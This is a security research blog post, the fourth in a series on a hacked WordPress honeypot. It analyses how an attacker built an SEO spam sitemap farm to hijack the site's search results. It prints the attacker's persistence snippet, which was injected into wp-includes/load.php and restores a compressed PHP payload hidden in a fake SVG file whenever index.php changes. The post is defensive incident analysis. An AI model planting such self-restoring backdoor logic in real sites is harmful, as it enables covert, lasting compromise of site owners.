Hijacking a Websites SERP Results with SEO SPAM

Over the past few weeks we have been following a bad actor as they attack and takes control of a WordPress website we manage. In the process, we have seen them riddle the site with backdoors to ensure they are able to retain control and perform some rudimentary SPAM injections pointing to 17 domains with over 17,000 entries.

This article will build on those observations, and focus on their work to build a more sophisticated SEO Spam farm which in turn will hijack the websites Search Engine Result Pages (SERP). The result of this action would land the website in Google jail, getting it labeled with the infamous “This site may be compromised” label in the SERP themselves, and create a mess for marketers and analytics as new keywords / slugs appear in their reports. This article shares one example of how they are doing it.

This is what we mean by hijacked SERP’s:

**Updated: 2022-08-24: Include a more direct list of all articles related to this research:

  1. Part 1: How WordPress Gets Hacked in 2022 – Initial Reconnaissance
  2. Part 2: What Hackers Do with WordPress in 2022 – Post Hack Analysis
  3. Part 3: Analyzing 17,000 Spam Links on a Hacked WordPress Site
  4. Part 4: Hijacking a Websites SERP Results with SEO SPAM
  5. Part 5: Navigating 81 Layers of Encoding to Reveal the C&C

The Building Blocks of a SERP Hijacking Campaign

Like with anything, there are building blocks for an attacker to successfully hijack your SERP results. In the variation we observed, they update and create the following as part of their workflow:

ElementDescription
Index.phpUsed to dynamically pull product values
.htaccessUsed to programmatically create a new sitemap for each product
/websitesUsed to house all the new sitemaps
Sitemap.xmlProvides the basic sitemap construct for all future sitemaps.
wp-includes/load.phpLogic introduce to check status of payload.
./wp-admin/images/vzoahncmaq.svgBackup of original payload for index.php in the event it is removed.

In order for this to work seamlessly for the attacker they need index.php and .htaccess to work hand in hand with one another.

First, they modify index.php to handle the logic, and .htaccess to account for parameters passed by index.php. We’ll be sharing the details of how index.php works in a separate article.

This is what their .htaccess modification looks like:

If you navigate to the website/ directory you will find all the new sitemaps that were created:

You will also notice a basic structure for the sitemaps. They go from Product A (e.g., productamap.xml) to Product Z (e.g., productzmap.xml), 26 in total. Each XML file has exactly 1,066 entries (or 27,716 entries for SERP SPAM links). That doesn’t include the 1,066 entries in the main product file (e.g., productmap.xml) or the 3,134 entries in the main sitemap.xml file.

In total, they injected the site with 31,916 additional spam links. This is in addition to the ones from the last post where they hid it in the functions.php file.

Each sitemap had properly structured XML like this:

<url>
<loc>https://[honeypot domain]/axraelw-65636-Yellow-Brown-Padded-Bubble-Postal-Bags-Envelopes/</loc>
<lastmod>2022-08-21T08:08:34+00:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>https://[honeypot domain]/vhgqhcpa-65637-Light-Headlamp-Harley-Motorcycle-v/</loc>
<lastmod>2022-08-16T09:08:40+00:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>

Ensuring The Payload Survives

As interesting as all this is, another part that fascinates us is how they ensure their payload survives. It’s why we so often hear about users frustrated about not being able to get rid of the infection, or how it continues to come back.

In this example, we were able to watch as the attacker deployed redundancies in the event that they were detected and the site repaired.

They start by modifying the wp-includes/load.php with the following:

> //environment system
>

> $v3 = './wp-admin/images/vzoahncmaq.svg';
>
> if(filesize("index.php") < 31898){
> if(file_exists($v3)){
> $string = gzinflate(file_get_contents($v3));
> if(strlen($string) > 31898 && strstr($string, "<?php"))
> file_put_contents("index.php",$string);
> }
> }
>
> //upgrading plugins

What they’re doing is very straight forward. They are checking the file size of index.php, if it changes for any reason, they are updating it the content of the vzoahncmaq.svg file. Yes, that file was also uploaded inside the /wp-admin/images/ directory.